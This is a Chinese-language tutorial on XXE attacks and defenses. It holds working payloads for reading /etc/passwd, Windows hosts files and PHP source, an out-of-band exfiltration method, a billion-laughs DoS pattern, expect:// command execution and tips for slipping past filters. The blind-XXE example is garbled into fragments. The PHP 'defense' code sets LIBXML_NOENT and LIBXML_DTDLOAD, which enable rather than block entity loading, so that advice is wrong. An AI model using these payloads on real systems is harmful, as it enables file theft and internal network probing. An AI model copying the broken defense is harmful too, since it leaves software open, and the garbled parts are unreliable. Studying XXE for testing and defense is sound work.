一、学习XXE 漏洞
(一)什么是 XXE
XXE 全称 XML External Entity(XML 外部实体注入) XML 解析时允许加载外部实体文件 / 网络资源,攻击者构造恶意 XML,读取本地文件、内网探测、执行命令、DOS 攻击,这就是 XXE 漏洞。
核心前提
XML 1.0 标准支持 DOCTYPE 定义实体,实体分两种:
- 内部实体:写在当前 XML 内
- 外部实体:引用本地文件、http/ftp 协议资源
(二)XML 实体基础语法
1. 基础内部实体
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY name "test">
]>
<root>&name;</root>
输出:<root>test</root>
2. 外部实体(读取本地文件核心)
SYSTEM 关键字加载外部资源
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user>&file;</user>
解析时会读取 /etc/passwd 文件内容并输出到页面。
支持协议:
file://读取本地文件(最常用)http:///https://发起内网 / 外网请求(SSRF 联动)php://filter(PHP 环境专用,读取源码)ftp://、jar://等
(三)XXE 漏洞分类
1. 有回显 XXE(直接读取文件)
恶意 XML 解析后,文件内容直接返回页面,最简单利用。
Linux 读取 passwd
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
Windows 读取 C 盘 hosts
<!ENTITY win SYSTEM "file://C:/Windows/System32/drivers/etc/hosts">
PHP 读取源码(php://filter)
<!ENTITY src SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">
返回 base64 编码源码,解码得到源代码。
2. 无回显 XXE(盲 XXE / Out-of-band OOB)
页面不输出文件内容,需要带外数据通道,将读取内容发送到攻击者 VPS。原理:构造外部实体引用攻击者服务器的 DTD 文件,把文件内容拼接到 URL 带出。
步骤
-
攻击者服务器存放恶意 dtd 文件
">evil.dtd%send;
-
提交 XML 引用远程 dtd
%dtd;
%out;
]>
test
目标服务器读取文件后,自动访问攻击者接口,日志中拿到文件内容。
3. 报错型 XXE
利用解析报错,把文件内容放在报错信息里泄露。
(四)XXE 常见攻击场景
-
读取敏感文件Linux:/etc/passwd、/etc/shadow、/etc/hosts、网站配置Windows:hosts、ini 配置、数据库连接文件
-
内网探测(SSRF) 通过
http://127.0.0.1:8080扫描内网端口、访问内网服务 -
DOS 拒绝服务(亿亿兽攻击) 递归定义大量实体,耗尽服务器内存
<!DOCTYPE a [ <!ENTITY x1 "xxxx"> <!ENTITY x2 "&x1;&x1;&x1;"> ...多层递归膨胀 ]> -
远程代码执行(仅特定环境) PHP+libxml:配合
expect://协议执行系统命令;Java 低版本部分解析器支持命令执行。
(五)常见易出现 XXE 的语言 / 组件
- Java:DOM4J、SAX、JDOM、XStream(未关闭外部实体)
- PHP:SimpleXML、DOMDocument(默认开启外部实体)
- Python:xml.etree.ElementTree、lxml
- .NET:XmlTextReader 未做安全配置
(六)漏洞挖掘思路(实战找 XXE)
1. 寻找 XML 数据传输点
- 请求头
Content-Type: application/xml - POST Body 直接提交 XML 数据
- 文件上传:上传 .xml 、.xsl 解析文件
- SOAP 接口(webservice,标准 XML 传输)
- RSS、SVG、XML 格式文件解析功能
2. 测试 Payload 流程
-
先提交基础 XML 判断是否解析 DOCTYPE
]>&test;
页面输出 hello → 存在实体解析,大概率有 XXE2. 测试读取本地文件(file://)3. 无回显则使用 OOB 带外盲打
(七)XXE 防御方案(核心修复手段)
通用原则:彻底禁用外部实体、禁用 DOCTYPE
1. Java 防御
SAX 解析时关闭外部实体、DTD 加载
// 关闭外部实体
XMLReader reader = XMLReaderFactory.createXMLReader();
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
2. PHP 防御
初始化 DOMDocument 时关闭实体加载
$dom = new DOMDocument();
// 禁止加载外部实体
$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
libxml_disable_entity_loader(true);
3. Python 防御
使用安全解析器,禁用外部实体:
from lxml import etree
parser = etree.XMLParser(load_dtd=False, no_network=True)
4. .NET 防御
设置 XmlReaderSettings 禁止 DTD 与外部资源
辅助防御
- 过滤用户输入中的
<!DOCTYPE、ENTITY关键字 - WAF 拦截 XXE 特征 Payload
- 最小权限运行服务,限制文件读取范围
(八)靶场练习推荐
- WebGoat XXE 章节
- DVWA(XML 模块)
- PortSwigger Web Security Academy(XXE 完整关卡,最推荐)
- Vulhub XXE 漏洞环境(Java/PHP 多场景)
(九)常见踩坑点
- 新版本 libxml/Java 解析器默认禁用外部实体,无漏洞;老版本才存在
- 部分环境过滤
file://,可尝试大小写绕过、编码绕过 - 盲 XXE 必须公网 VPS 接收带外请求,本地无法复现
- 读取二进制文件会乱码,PHP 环境优先用 base64 过滤编码